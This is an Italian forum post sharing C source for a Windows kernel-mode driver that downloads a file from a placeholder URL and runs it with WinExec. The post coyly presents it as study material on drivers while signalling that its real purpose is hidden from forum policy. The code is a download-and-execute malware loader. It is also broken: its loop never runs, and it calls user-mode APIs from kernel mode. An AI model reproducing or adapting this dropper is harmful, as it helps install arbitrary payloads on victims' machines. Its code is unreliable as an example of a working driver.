vogy |
|
| Per una volta che uso Windows ne approfitto per postare qualcosina di simpatico Siccome non so la policy del forum allora dirò che questo programma è: "un semplicissimo driver kernel-mode che scarica un file e lo esegue" può essere utile a chi desidera studiare "i driver" CODICE #include <ddk/ntddk.h> #include <windows.h>
#define MAX_LINE 512
VOID WINAPI AssHole() { char source[MAX_LINE] = "http://some-site.net/fukr.abc"; char destination[MAX_LINE] = "c:\\some_position\fukr.abc"; int i = 0;
HRESULT hRes;
typedef HRESULT (WINAPI * URLDownloadToFileA_t)(LPUNKNOWN pCaller, LPCSTR szURL, LPCSTR szFileName, DWORD dwReserved, void * lpfnCB); URLDownloadToFileA_t xURLDownloadToFileA; xURLDownloadToFileA = (URLDownloadToFileA_t)GetProcAddress(LoadLibraryA("urlmon"), "URLDownloadToFileA");
while(i == 1) { hRes = xURLDownloadToFileA(NULL, source, destination, 0, NULL); if(hRes == S_OK) { Sleep(600000); /* 10 mins */ WinExec(destination,0); i++; } else { Sleep(600000); } } }
VOID STDCALL DriverUnload(IN PDRIVER_OBJECT DriverObject) { DbgPrint("...driver unloaded\n"); return; }
NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) { DbgPrint("loading driver...\n"); DriverObject->DriverUnload = DriverUnload;
AssHole();
return STATUS_SUCCESS; } Il programma è realizzato su Code::Blocks, infatti usa '#include <ddk/ntddk.h>' mentre su VC++ basta '#include <ntddk.h>'. Ho usato solo ddk senza WDF perché Code::Blocks non lo ha... e sicuramente non me lo scarico :O
|
| |